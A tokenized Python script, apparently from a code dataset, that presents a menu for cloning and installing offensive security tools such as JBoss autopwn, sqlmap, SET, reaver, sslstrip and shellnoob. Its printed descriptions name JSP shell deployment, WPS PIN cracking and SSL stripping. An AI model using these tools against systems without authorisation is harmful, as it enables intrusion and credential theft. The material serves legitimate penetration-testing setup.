"os_", "._", "system_", "(_", "'", "clear", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Thi", "s", " ", "JB", "oss", " ", "script", " ", "deploy", "s", " ", "a", " ", "JS", "P", " ", "shell", " ", "on", " ", "the", " ", "target", " ", "JB", "oss", " ", "AS", " ", "server", ".", " ", "On", "ce", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "deploye", "d", ",", " ", "the", " ", "script", " ", "use", "s", " ", "its", " ", "upload", " ", "and", " ", "command", " ", "executi", "on", " ", "capab", "ilit", "y", " ", "to", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "provide", " ", "an", " ", "interactive", " ", "session", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "usage", " ", ":", " ", "./", "e", ".", "sh", " ", "target", "\\u", "ip", " ", "tcp", "\\u", "port", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Continu", "e", ":", " ", "y", "/", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "9_", "=_", "raw", "\\u", "input_", "(_", "\"", "ye", "s", " ", "/", " ", "no", " ", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice", "9_", "in_", "yes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "git", " ", "clone", " ", "https", "://", "git", "hub", ".", "com", "/", "Spi", "der", "Lab", "s", "/", "jbo", "ss", "-", "autop", "wn", ".", "git", "\"_", ")_", ",_", "sys_", "._", "exit_", "(_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "9_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "'", "clear", "'_", ")_", ";_", "exp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "9_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sql", "map_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "usage", " ", ":", " ", "python", " ", "sql", "map", ".", "py", " ", "-", "h", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "8_", "=_", "raw", "\\u", "input_", "(_", "\"", "Continu", "e", ":", " ", "y", "/", "n", " ", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice", "8_", "in_", "yes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "git", " ", "clone", " ", "https", "://", "git", "hub", ".", "com", "/", "sql", "mapp", "roj", "ect", "/", "sql", "map", ".", "git", " ", "sql", "map", "-", "dev", " ", "&", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "8_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "'", "clear", "'_", ")_", ";_", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "8_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "seto", "ol", "kit_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "The", " ", "Soci", "al", "-", "Engine", "er", " ", "Tool", "kit", " ", "is", " ", "an", " ", "open", "-", "source", " ", "pene", "trat", "ion", " ", "testi", "ng", " ", "frame", "work", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\")", " ", "design", "ed", " ", "for", " ", "social", " ", "engineer", "ing", ".", " ", "SET", " ", "has", " ", "a", " ", "number", " ", "of", " ", "custom", " ", "attac", "k", " ", "vector", "s", " ", "tha", "t", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", " ", "allow", " ", "you", " ", "to", " ", "make", " ", "a", " ", "beli", "eva", "ble", " ", "attac", "k", " ", "quickl", "y", ".", " ", "SET", " ", "is", " ", "a", " ", "product", " ", "of", " ", "Trust", "ed", "Sec", ",", " ", "LLC", " ", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "an", " ", "informati", "on", " ", "security", " ", "consul", "ting", " ", "firm", " ", "located", " ", "in", " ", "Cle", "vel", "and", ",", " ", "Oh", "io", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "set_", "=_", "raw", "\\u", "input_", "(_", "\"", "y", " ", "/", " ", "n", " ", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice", "set_", "in_", "yes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "git", " ", "clone", " ", "https", "://", "git", "hub", ".", "com", "/", "trusted", "sec", "/", "social", "-", "engineer", "-", "tool", "kit", ".", "git", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "python", " ", "social", "-", "engineer", "-", "tool", "kit", "/", "setup", ".", "py", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choice", "set_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "set_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cup", "p_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "cup", "p", " ", "is", " ", "a", " ", "password", " ", "list", " ", "generat", "or", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Us", "age", ":", " ", "python", " ", "cup", "p", ".", "py", " ", "-", "h", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "cup", "p_", "=_", "raw", "\\u", "input_", "(_", "\"", "Continu", "e", ":", " ", "y", "/", "n", " ", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "choice", "cup", "p_", "in_", "yes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "git", " ", "clone", " ", "https", "://", "git", "hub", ".", "com", "/", "Me", "bus", "/", "cup", "p", ".", "git", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "file", " ", "download", "ed", " ", "success", "full", "y", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "cup", "p_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "passwd_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "cup", "p_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ncr", "ack_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "A", " ", "Rub", "y", " ", "interface", " ", "to", " ", "Nc", "rack", ",", " ", "Network", " ", "authenticat", "ion", " ", "crack", "ing", " ", "tool", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "require", "s", " ", ":", " ", "nmap", " ", ">=", " ", "0.", "3", "ALPHA", " ", "/", " ", "rpr", "ogram", " ", "~", ">", " ", "0.", "3", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Continu", "e", ":", " ", "y", "/", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "ncr", "ack_", "=_", "raw", "\\u", "input_", "(_", "\"", "y", " ", "/", " ", "n", " ", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice", "ncr", "ack_", "in_", "yes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "git", " ", "clone", " ", "https", "://", "git", "hub", ".", "com", "/", "sop", "hse", "c", "/", "rub", "y", "-", "ncr", "ack", ".", "git", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "cd", " ", "rub", "y", "-", "ncr", "ack", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "install", " ", "rub", "y", "-", "ncr", "ack", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "ncr", "ack_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "passwd_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "ncr", "ack_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rea", "ver_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\"\"", "\\", "10", ";", " ", " ", "Rea", "ver", " ", "has", " ", "bee", "n", " ", "design", "ed", " ", "to", " ", "be", " ", "a", " ", "robust", " ", "and", " ", "practic", "al", " ", "attac", "k", " ", "against", " ", "Wi", "-", "Fi", " ", "Protect", "ed", " ", "Set", "up", "\\", "10", ";", " ", " ", "WP", "S", " ", "registrar", " ", "PIN", "s", " ", "in", " ", "order", " ", "to", " ", "recover", " ", "WPA", "/", "WPA", "2", " ", "passp", "hra", "ses", ".", " ", "It", " ", "has", " ", "bee", "n", " ", "tested", " ", "against", " ", "a", "\\", "10", ";", " ", " ", "wide", " ", "variet", "y", " ", "of", " ", "access", " ", "points", " ", "and", " ", "WP", "S", " ", "implementation", "s", "\\", "10", ";", " ", " ", "1", " ", "to", " ", "accept", " ", "/", " ", "0", " ", "to", " ", "declin", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "crea", "ver_", "=_", "raw", "\\u", "input_", "(_", "\"", "y", " ", "/", " ", "n", " ", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "crea", "ver_", "in_", "yes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "apt", "-", "get", " ", "-", "y", " ", "install", " ", "build", "-", "essential", " ", "libp", "cap", "-", "dev", " ", "sql", "ite", "3", " ", "libs", "qli", "te", "3", "-", "dev", " ", "air", "crack", "-", "ng", " ", "pix", "iew", "ps", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "git", " ", "clone", " ", "https", "://", "git", "hub", ".", "com", "/", "t6", "x", "/", "rea", "ver", "-", "wps", "-", "fork", "-", "t6", "x", ".", "git", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "cd", " ", "rea", "ver", "-", "wps", "-", "fork", "-", "t6", "x", "/", "src", "/", " ", "&", " ", "./", "configur", "e", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "cd", " ", "rea", "ver", "-", "wps", "-", "fork", "-", "t6", "x", "/", "src", "/", " ", "&", " ", "make", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "crea", "ver_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "wire_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "crea", "ver_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ssl", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\"\"", "ssl", "strip", " ", "is", " ", "a", " ", "MIT", "M", " ", "tool", " ", "tha", "t", " ", "implement", "s", " ", "Mo", "xi", "e", " ", "Mar", "lins", "pike", "'", "s", " ", "SS", "L", " ", "strip", "ping", " ", "\\", "10", ";", " ", " ", " ", " ", "attacks", ".", "\\", "10", ";", " ", " ", " ", " ", "It", " ", "require", "s", " ", "Pyth", "on", " ", "2.5", " ", "or", " ", "newe", "r", ",", " ", "along", " ", "with", " ", "the", " ", "'", "twist", "ed", "'", " ", "python", " ", "module", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "css", "l_", "=_", "raw", "\\u", "input_", "(_", "\"", "y", " ", "/", " ", "n", " ", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "css", "l_", "in_", "yes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "git", " ", "clone", " ", "https", "://", "git", "hub", ".", "com", "/", "mo", "xi", "e0", "/", "ssl", "strip", ".", "git", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "sudo", " ", "apt", "-", "get", " ", "install", " ", "python", "-", "twist", "ed", "-", "web", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "python", " ", "ssl", "strip", "/", "setup", ".", "py", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "css", "l_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sni", "f_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "css", "l_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "shell", "noo", "b_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\"\"", "Writ", "ing", " ", "shellc", "odes", " ", "has", " ", "alw", "ay", "s", " ", "bee", "n", " ", "super", " ", "fun", ",", " ", "but", " ", "some", " ", "part", "s", " ", "are", " ", "extreme", "ly", " ", "bor", "ing", " ", "and", " ", "error", " ", "pron", "e", ".", " ", "Foc", "us", " ", "only", " ", "on", " ", "the", " ", "fun", " ", "part", ",", " ", "and", " ", "use", " ", "Shel", "l", "Noo", "b", "!\"", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "csh", "ell_", "=_", "raw", "\\u", "input_", "(_", "\"", "Y", " ", "/", " ", "N", " ", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "csh", "ell_", "in_", "yes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "git", " ", "clone", " ", "https", "://", "git", "hub", ".", "com", "/", "rey", "am", "mer", "/", "shell", "noo", "b", ".", "git", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "mv", " ", "shell", "noo", "b", "/", "shell", "noo", "b", ".", "py", " ", "shell", "noo", "b", ".", "py", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "sudo", " ", "python", " ", "shell", "noo", "b", ".", "py", " ", "--", "install", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "csh", "ell_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "csh", "ell_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "info_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "1", ":", " ", "nmap", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "2", ":", " ", "Set", "ool", "kit", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "3", ":", " ", "Port", " ", "Scann", "ing", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "4", ":", " ", "Host", " ", "To", " ", "IP", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "9", "9", ":", " ", "Back", " ", "To", " ", "Main", " ", "Menu", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "2_", "=_", "raw", "\\u", "input_", "(_", "\"", "Select", " ", "from", " ", "the", " ", "menu", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice", "2_", "==_", "\"", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "'", "clear", "'_", ")_", ";_", "nmap", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choice", "2_", "==_", "\"", "2", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "seto", "ol", "kit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choice", "2_", "==_", "\"", "3", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "ports_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choice", "2_", "==_", "\"", "4", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "h2", "ip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "2_", "==_", "\"", "9", "9", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "2_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "priv", "8_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tn", "n_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "passwd_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "1", ":", " ", " ", "cup", "p", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "2", ":", " ", " ", "Nc", "rack", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "9", "9", ":", " ", "Back", " ", "To", " ", "Main", " ", "Menu", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "3_", "=_", "raw", "\\u", "input_", "(_", "\"", "Select", " ", "from", " ", "the", " ", "menu", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice", "3_", "==_", "\"", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "cup", "p_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "3_", "==_", "\"", "2", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "ncr", "ack_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "3_", "==_", "\"", "9", "9", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", ";_", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "3_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 